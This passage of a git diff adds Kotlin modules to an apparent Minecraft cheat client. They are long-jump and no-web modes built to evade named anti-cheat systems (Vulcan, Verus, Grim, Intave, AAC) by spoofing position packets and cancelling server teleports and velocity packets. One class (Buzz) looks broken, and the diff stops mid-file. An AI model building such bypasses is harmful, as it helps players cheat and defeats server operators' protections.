MovementUtils.strafe(ncpBoostValue.get()) + } + } + } else { + if (canBoost && !mmc.get()) { + MovementUtils.strafe(ncpBoostValue.get() * 0.96f) + } + } + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is S08PacketPlayerPosLook) { + if (cancelTeleport) { + TransferUtils.silentConfirm = true + TransferUtils.noMotionSet = true + } + } + } + + override fun onAttemptJump() { + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false)) + if (mmc.get()) { + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - 2.0, mc.thePlayer.posZ, false)) + } else { + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - 0.1, mc.thePlayer.posZ, false)) + } + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false)) + + if (blink.get() || mmc.get()) { + BlinkUtils.setBlinkState(all = true) + } + + cancelTeleport = true + canBoost = true + } + + override fun onAttemptDisable() { + longjump.state = false + if (blink.get() || mmc.get()) BlinkUtils.setBlinkState(off = true, release = true) + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/ncp/NCPLongjump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/ncp/NCPLongjump.kt new file mode 100644 index 0000000..3946c15 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/ncp/NCPLongjump.kt @@ -0,0 +1,38 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.ncp + +import net.ccbluex.liquidbounce.event.JumpEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.LongJumpMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.FloatValue + +class NCPLongjump : LongJumpMode("NCP") { + private val ncpBoostValue = FloatValue("${valuePrefix}Boost", 4.25f, 1f, 10f) + private var canBoost = false + override fun onEnable() { + sendLegacy() + canBoost = false + } + override fun onUpdate(event: UpdateEvent) { + if (mc.thePlayer.onGround) { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + }else { + MovementUtils.strafe(MovementUtils.getSpeed() * if (canBoost) ncpBoostValue.get() else 1f) + if(canBoost) canBoost = false + } + } + + override fun onJump(event: JumpEvent) { + canBoost = true + MovementUtils.strafe() + } + + override fun onAttemptJump() { + mc.thePlayer.jump() + } + + override fun onAttemptDisable() { + longjump.state = false + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/other/BoostLongjump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/other/BoostLongjump.kt new file mode 100644 index 0000000..e04b25f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/other/BoostLongjump.kt @@ -0,0 +1,53 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.other + +import net.ccbluex.liquidbounce.event.JumpEvent +import net.ccbluex.liquidbounce.event.MoveEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.LongJumpMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.FloatValue + +class BoostLongjump : LongJumpMode("Boost") { + private val speedValue = FloatValue("${valuePrefix}Speed", 0.48f, 0.0f, 3.0f) + private val jumpBoostValue = FloatValue("${valuePrefix}JumpBoost", 1.5f, 1.0f, 3.0f) + private val strafeBoostValue = FloatValue("${valuePrefix}StrafeBoost", 1.5f, 1.0f, 3.0f) + private var canBoost = false + private var jumped = false + override fun onEnable() { + canBoost = false + jumped = false + } + override fun onUpdate(event: UpdateEvent) { + if (!jumped && mc.thePlayer.onGround) { + canBoost = false + } + } + override fun onMove(event: MoveEvent) { + if (jumped) { + jumped = false + event.x *= jumpBoostValue.get().toDouble() + event.z *= jumpBoostValue.get().toDouble() + return + } + if (canBoost) { + event.x *= strafeBoostValue.get().toDouble() + event.z *= strafeBoostValue.get().toDouble() + } + } + + override fun onJump(event: JumpEvent) { + canBoost = true + jumped = true + MovementUtils.strafe(speedValue.get()) + } + + override fun onAttemptJump() { + mc.thePlayer.jump() + } + + override fun onAttemptDisable() { + canBoost = false + jumped = false + longjump.state = false + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/other/BuzzLongjump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/other/BuzzLongjump.kt new file mode 100644 index 0000000..b1a9369 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/other/BuzzLongjump.kt @@ -0,0 +1,12 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.other + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.LongJumpMode +import net.ccbluex.liquidbounce.utils.MovementUtils + +class Buzz : LongJumpMode("Buzz") { + override fun onUpdate(event: UpdateEvent) { + mc.thePlayer.motionY += 0.4679942989799998 + MovementUtils.getSpeed *= 0.7578698f + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/other/VerusDamageLongjump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/other/VerusDamageLongjump.kt new file mode 100644 index 0000000..66b7aec --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/other/VerusDamageLongjump.kt @@ -0,0 +1,71 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.other + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.LongJump +import net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.LongJumpMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.script.api.global.Chat +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.minecraft.network.play.client.C03PacketPlayer + +class VerusDamageLongjump : LongJumpMode("VerusDamage") { + + private val autoDisable = BoolValue("AutoDisable",true) + var damaged = false + + override fun onEnable() { + val player = mc.thePlayer ?: return + if (!MovementUtils.isMoving()) { + Chat.alert("Pls move while toggling LongJump. Using AutoJump option is recommended.") + return + } + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(player.posX, player.posY + 3.0001, player.posZ, false)) + PacketUtils.sendPacketNoEvent( + C03PacketPlayer.C06PacketPlayerPosLook( + player.posX, + player.posY, + player.posZ, + player.rotationYaw, + player.rotationPitch, + false + ) + ) + PacketUtils.sendPacketNoEvent( + C03PacketPlayer.C06PacketPlayerPosLook( + player.posX, + player.posY, + player.posZ, + player.rotationYaw, + player.rotationPitch, + true + ) + ) + damaged = true + } + override fun onUpdate(event: UpdateEvent) { + val player = mc.thePlayer ?: return + if (player.isInWater || player.isInLava || player.isInWeb || player.isOnLadder) { + LongJump.state = false + return + } + + /** + * You can long jump up to 13-14+ blocks + */ + if (damaged && MovementUtils.isMoving()) { + player.jumpMovementFactor = 0.15f + player.motionY += 0.015f + + // player onGround checks will not work due to sendPacket ground, so for temporary. I'll be using player motionY. + if (autoDisable.get() && player.motionY <= -0.4330104027478734) { + player.motionZ *= 0.0 + player.motionX *= 0.0 + player.motionY *= 0.0 + LongJump.state = false + } + } else if (autoDisable.get()) { + LongJump.state = false + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/vulcan/Vulcan2Longjump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/vulcan/Vulcan2Longjump.kt new file mode 100644 index 0000000..7d29d02 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/vulcan/Vulcan2Longjump.kt @@ -0,0 +1,104 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.vulcan + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.event.JumpEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.LongJumpMode +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition +import net.minecraft.network.play.client.C0FPacketConfirmTransaction +import net.minecraft.network.play.server.S08PacketPlayerPosLook +import net.minecraft.network.play.server.S12PacketEntityVelocity +import kotlin.math.cos +import kotlin.math.sin + +class Vulcan2Longjump : LongJumpMode("Vulcan2") { + private var ticks = 0 + private var cancelFlag = false + private var jumped = false + //Vulcan LongJump Bypass - by FDP Team + + override fun onEnable() { + longjump.noTimerModify = true + if(!mc.thePlayer.onGround) { + onAttemptDisable() + } + jumped = false + mc.timer.timerSpeed = 0.5f + ticks = 0 + } + + override fun onDisable() { + longjump.noTimerModify = false + MovementUtils.resetMotion(false) + mc.timer.timerSpeed = 1.0f + } + + override fun onUpdate(event: UpdateEvent) { + if (!jumped) + return + + mc.timer.timerSpeed = 0.5f + if (mc.thePlayer.fallDistance > 0 && ticks % 2 == 0 && mc.thePlayer.fallDistance < 2.2) + mc.thePlayer.motionY += 0.14 + + ticks++ + + when (ticks) { + 1 -> { + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - 0.0784, mc.thePlayer.posZ, false)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true)) + MovementUtils.strafe(7.9f) + mc.thePlayer.motionY = 0.41999998688698 + cancelFlag = true + } + + 2 -> { + mc.thePlayer.motionY += 0.1 + MovementUtils.strafe(2.79f) + } + + 3 -> MovementUtils.strafe(2.56f) + + 4 -> { + MovementUtils.strafe(0.49f) + mc.thePlayer.onGround = true + } + + 5 -> MovementUtils.strafe(0.59f) + + 6 -> MovementUtils.strafe(0.3f) + } + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is S08PacketPlayerPosLook && cancelFlag) { + cancelFlag = false + event.cancelEvent() + } + + } + + override fun onAttemptDisable() { + mc.timer.timerSpeed = 1.0f + longjump.state = false + } + + override fun onAttemptJump() { + ticks = 0 + jumped = true + } + + override fun onJump(event: JumpEvent) { + event.cancelEvent() + ticks = 0 + jumped = true + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/vulcan/VulcanLongjump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/vulcan/VulcanLongjump.kt new file mode 100644 index 0000000..73f146a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/vulcan/VulcanLongjump.kt @@ -0,0 +1,157 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.vulcan + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.event.JumpEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.LongJumpMode +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition +import net.minecraft.network.play.client.C0FPacketConfirmTransaction +import net.minecraft.network.play.server.S08PacketPlayerPosLook +import net.minecraft.network.play.server.S12PacketEntityVelocity +import kotlin.math.cos +import kotlin.math.sin + +class VulcanLongjump : LongJumpMode("Vulcan") { + private val repeatValue = IntegerValue("${valuePrefix}RepeatTimes", 2, 1, 6) + private val distanceValue = FloatValue("${valuePrefix}Distance", 7.0f, 2.0f, 8.0f) + private val onlyDamageValue = BoolValue("${valuePrefix}OnlyDamage", true) + private val selfDamageValue = BoolValue("${valuePrefix}SelfDamage", true) + var waitFlag = false + var isFlagged = false + var lastTickOnGround = false + var isDamaged = false + var dmgJumpCount = 0 + var coDynamic = "Vulcan LongJump Bypass - by Co Dynamic 2023 01 05" + + override fun onEnable() { + longjump.noTimerModify = true + if(!mc.thePlayer.onGround) { + onAttemptDisable() + } + mc.timer.timerSpeed = 1.0f + waitFlag = false + isFlagged = false + isDamaged = false + dmgJumpCount = 0 + lastTickOnGround = mc.thePlayer.onGround + runSelfDamageCore() + } + + override fun onDisable() { + longjump.noTimerModify = false + MovementUtils.resetMotion(false) + mc.timer.timerSpeed = 1.0f + } + + override fun onUpdate(event: UpdateEvent) { + if (runSelfDamageCore()) { + return + } + if ((onlyDamageValue.get() && mc.thePlayer.hurtTime == 0) && !waitFlag && !isFlagged && longjump.airTick < 888) { + mc.thePlayer.onGround = false + MovementUtils.resetMotion(true) + mc.thePlayer.jumpMovementFactor = 0.0f + longjump.airTick = -1 + return + } + if (waitFlag && isFlagged) { + mc.timer.timerSpeed = 0.5f + MovementUtils.strafe(distanceValue.get()) + repeat(repeatValue.get()) { + mc.thePlayer.setPosition(mc.thePlayer.posX + mc.thePlayer.motionX, mc.thePlayer.posY, mc.thePlayer.posZ + mc.thePlayer.motionZ) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - 0.0784, mc.thePlayer.posZ, true)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true)) + } + MovementUtils.resetMotion(false) + waitFlag = false + isFlagged = false + longjump.airTick = 999 + } + if (waitFlag && !isFlagged && mc.thePlayer.onGround) { + if (!lastTickOnGround) { + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - 0.0784, mc.thePlayer.posZ, true)) + } + mc.timer.timerSpeed = 0.25f + mc.thePlayer.onGround = false + MovementUtils.resetMotion(true) + mc.thePlayer.jumpMovementFactor = 0.0f + lastTickOnGround = true + return + } + lastTickOnGround = mc.thePlayer.onGround + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is S08PacketPlayerPosLook && waitFlag) { + isFlagged = true + } + if (packet is S12PacketEntityVelocity) { + if (mc.thePlayer == null || (mc.theWorld?.getEntityByID(packet.entityID) ?: return) != mc.thePlayer) return + event.cancelEvent() + } + if (packet is C03PacketPlayer && dmgJumpCount < 4) { + packet.onGround = false + } + if (packet is C0FPacketConfirmTransaction) { //Make sure it works with Vulcan Combat Disabler + val transUID = (packet.uid).toInt() + if (transUID >= -31767 && transUID <= -30769) { + event.cancelEvent() + PacketUtils.sendPacketNoEvent(packet) + } + } + } + + override fun onAttemptDisable() { + if (!waitFlag && !isFlagged) { + longjump.state = false + } + } + + override fun onAttemptJump() { + if (onlyDamageValue.get() && mc.thePlayer.hurtTime == 0) + return + mc.thePlayer.jump() + MovementUtils.strafe(0.485f) + } + + override fun onJump(event: JumpEvent) { + waitFlag = true + mc.timer.timerSpeed = 1.0f + lastTickOnGround = true + } + + fun runSelfDamageCore(): Boolean { + if (!onlyDamageValue.get() || !selfDamageValue.get()) { + isDamaged = true + dmgJumpCount = 999 + return false + } + if (isDamaged) { + dmgJumpCount = 999 + return false + } + longjump.airTick = -1 + mc.thePlayer.jumpMovementFactor = 0.0f + if (mc.thePlayer.onGround) { + if (dmgJumpCount >= 4) { + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true)) + isDamaged = true + dmgJumpCount = 999 + return false + } + dmgJumpCount++ + MovementUtils.resetMotion(true) + mc.thePlayer.jump() + } + MovementUtils.resetMotion(false) + return true + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/NoWebMode.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/NoWebMode.kt new file mode 100644 index 0000000..b45b831 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/NoWebMode.kt @@ -0,0 +1,33 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.nowebs + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.modules.movement.NoWeb +import net.ccbluex.liquidbounce.features.value.Value +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.minecraft.util.BlockPos + +abstract class NoWebMode(val modeName: String) : MinecraftInstance() { + protected val valuePrefix = "$modeName-" + + protected val noweb: NoWeb + get() = FDPClient.moduleManager[NoWeb::class.java]!! + + open val values: List<Value<*>> + get() = ClassUtils.getValues(this.javaClass, this) + + open fun onEnable() {} + open fun onDisable() {} + + open fun onPreMotion() {} + open fun onMotion(event: MotionEvent) {} + open fun onUpdate() {} + open fun onMove(event: MoveEvent) {} + open fun onJump(event: JumpEvent) {} + open fun onPacket(event: PacketEvent) {} + open fun onTick() {} + open fun onStrafe(event: StrafeEvent) {} + open fun onBlockBB(event: BlockBBEvent) {} + open fun onBlockPos(pos: BlockPos) {} +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/aac/AAC4.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/aac/AAC4.kt new file mode 100644 index 0000000..e6e5225 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/aac/AAC4.kt @@ -0,0 +1,28 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.aac + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.JumpEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.NoWebMode + +class AAC4 : NoWebMode("AAC4") { + @EventTarget + override fun onUpdate() { + mc.timer.timerSpeed = 0.99F + mc.thePlayer.jumpMovementFactor = 0.02958f + mc.thePlayer.motionY -= 0.00775 + if (mc.thePlayer.onGround) { + // mc.thePlayer.jump() + mc.thePlayer.motionY = 0.4050 + mc.timer.timerSpeed = 1.35F + } + } + + @EventTarget + override fun onJump(event: JumpEvent) { + event.cancelEvent() + } + + override fun onDisable() { + mc.timer.timerSpeed = 1.0f + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/aac/AAC5.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/aac/AAC5.kt new file mode 100644 index 0000000..cd79756 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/aac/AAC5.kt @@ -0,0 +1,16 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.aac + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.NoWebMode + +class AAC5 : NoWebMode("AAC5") { + + @EventTarget + override fun onUpdate() { + mc.thePlayer.jumpMovementFactor = 0.42f + + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/aac/LAAC.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/aac/LAAC.kt new file mode 100644 index 0000000..cdf9540 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/aac/LAAC.kt @@ -0,0 +1,20 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.aac + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.NoWebMode + +class LAAC : NoWebMode("LAAC") { + + @EventTarget + override fun onUpdate() { + mc.thePlayer.jumpMovementFactor = if (mc.thePlayer.movementInput.moveStrafe != 0f) 1.0f else 1.21f + + if (!mc.gameSettings.keyBindSneak.isKeyDown) { + mc.thePlayer.motionY = 0.0 + } + + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/aac/OldAAC.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/aac/OldAAC.kt new file mode 100644 index 0000000..ddcaa4c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/aac/OldAAC.kt @@ -0,0 +1,15 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.aac + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.NoWebMode + +class OldAAC : NoWebMode("OldAAC") { + @EventTarget + override fun onUpdate() { + mc.thePlayer.jumpMovementFactor = 0.59f + + if (!mc.gameSettings.keyBindSneak.isKeyDown) { + mc.thePlayer.motionY = 0.0 + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/intave/Intave.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/intave/Intave.kt new file mode 100644 index 0000000..21e9d8f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/intave/Intave.kt @@ -0,0 +1,23 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.intave + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.NoWebMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.MovementUtils.strafe + +class Intave : NoWebMode("Intave") { + @EventTarget + override fun onUpdate() { + val thePlayer = mc.thePlayer ?: return + if (MovementUtils.isMoving() && thePlayer.moveStrafing == 0.0f) { + if (thePlayer.onGround) { + if (mc.thePlayer.ticksExisted % 3 == 0) { + strafe(0.734f) + } else { + mc.thePlayer.jump() + strafe(0.346f) + } + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/intave/IntaveTest.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/intave/IntaveTest.kt new file mode 100644 index 0000000..847e0eb --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/intave/IntaveTest.kt @@ -0,0 +1,16 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.intave + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.NoWebMode + +class IntaveTest : NoWebMode("IntaveTest") { + @EventTarget + override fun onUpdate() { + if (mc.thePlayer.movementInput.moveStrafe == 0.0F && mc.gameSettings.keyBindForward.isKeyDown && mc.thePlayer.isCollidedVertically) { + mc.thePlayer.jumpMovementFactor = 0.74F + } else { + mc.thePlayer.jumpMovementFactor = 0.2F + mc.thePlayer.onGround = true + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/intave/OldIntave.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/intave/OldIntave.kt new file mode 100644 index 0000000..5547dbb --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/intave/OldIntave.kt @@ -0,0 +1,15 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.intave + +import net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.NoWebMode + +class OldIntave : NoWebMode("OldIntave") { + override fun onUpdate() { + val thePlayer = mc.thePlayer ?: return + if (thePlayer.movementInput.moveStrafe == 0.0F && mc.gameSettings.keyBindForward.isKeyDown && thePlayer.isCollidedVertically) { + thePlayer.jumpMovementFactor = 0.74F + } else { + thePlayer.jumpMovementFactor = 0.2F + thePlayer.onGround = true + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/other/GrimAC.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/other/GrimAC.kt new file mode 100644 index 0000000..be21315 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/other/GrimAC.kt @@ -0,0 +1,33 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.other + +import net.ccbluex.liquidbounce.event.BlockBBEvent +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.NoWebMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.utils.misc.Direction +import net.minecraft.block.BlockAir +import net.minecraft.init.Blocks +import net.minecraft.network.play.client.C07PacketPlayerDigging +import net.minecraft.util.BlockPos +import net.minecraft.util.EnumFacing + +class GrimAC : NoWebMode("GrimAC") { + private val breakeronworld = BoolValue("BreakerOnWordl",true) + + @EventTarget + override fun onUpdate() { + mc.thePlayer.isInWeb = false + } + @EventTarget + override fun onBlockPos(pos: BlockPos) { + if (breakeronworld.get()) mc.theWorld.setBlockState(pos, Blocks.air.defaultState) + + val start = C07PacketPlayerDigging(C07PacketPlayerDigging.Action.START_DESTROY_BLOCK,pos,EnumFacing.DOWN) + val abort = C07PacketPlayerDigging(C07PacketPlayerDigging.Action.ABORT_DESTROY_BLOCK,pos,EnumFacing.DOWN) + val finsh = C07PacketPlayerDigging(C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK,pos,EnumFacing.DOWN) + + mc.netHandler.addToSendQueue(start) + mc.netHandler.addToSendQueue(abort) + mc.netHandler.addToSendQueue(finsh) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/other/Horizon.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/other/Horizon.kt new file mode 100644 index 0000000..86e08cb --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/other/Horizon.kt @@ -0,0 +1,17 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.other + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.NoWebMode +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.utils.MovementUtils + +class Horizon : NoWebMode("Horizon") { + private val horizonSpeed = FloatValue("HorizonSpeed", 0.1F, 0.01F, 0.8F) + + @EventTarget + override fun onUpdate() { + if (mc.thePlayer.onGround) { + MovementUtils.strafe(horizonSpeed.get()) + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/other/Matrix.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/other/Matrix.kt new file mode 100644 index 0000000..348fae9 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/other/Matrix.kt @@ -0,0 +1,23 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.other + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.NoWebMode + +class Matrix : NoWebMode("Matrix") { + private var usedTimer = false + @EventTarget + override fun onUpdate() { + if (usedTimer) { + mc.timer.timerSpeed = 1F + usedTimer = false + } + mc.thePlayer.jumpMovementFactor = 0.12425f + mc.thePlayer.motionY = -0.0125 + if (mc.gameSettings.keyBindSneak.isKeyDown) mc.thePlayer.motionY = -0.1625 + + if (mc.thePlayer.ticksExisted % 40 == 0) { + mc.timer.timerSpeed = 3.0F + usedTimer = true + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/other/Rewinside.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/other/Rewinside.kt new file mode 100644 index 0000000..12c6da7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/other/Rewinside.kt @@ -0,0 +1,15 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.other + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.NoWebMode + +class Rewinside : NoWebMode("Rewinside") { + @EventTarget + override fun onUpdate() { + mc.thePlayer.jumpMovementFactor = 0.42f + + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/other/Spartan.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/nowebs/other/Spartan.kt new file mode 100644 index 0000000..6e74af2 --- /dev/null +++ 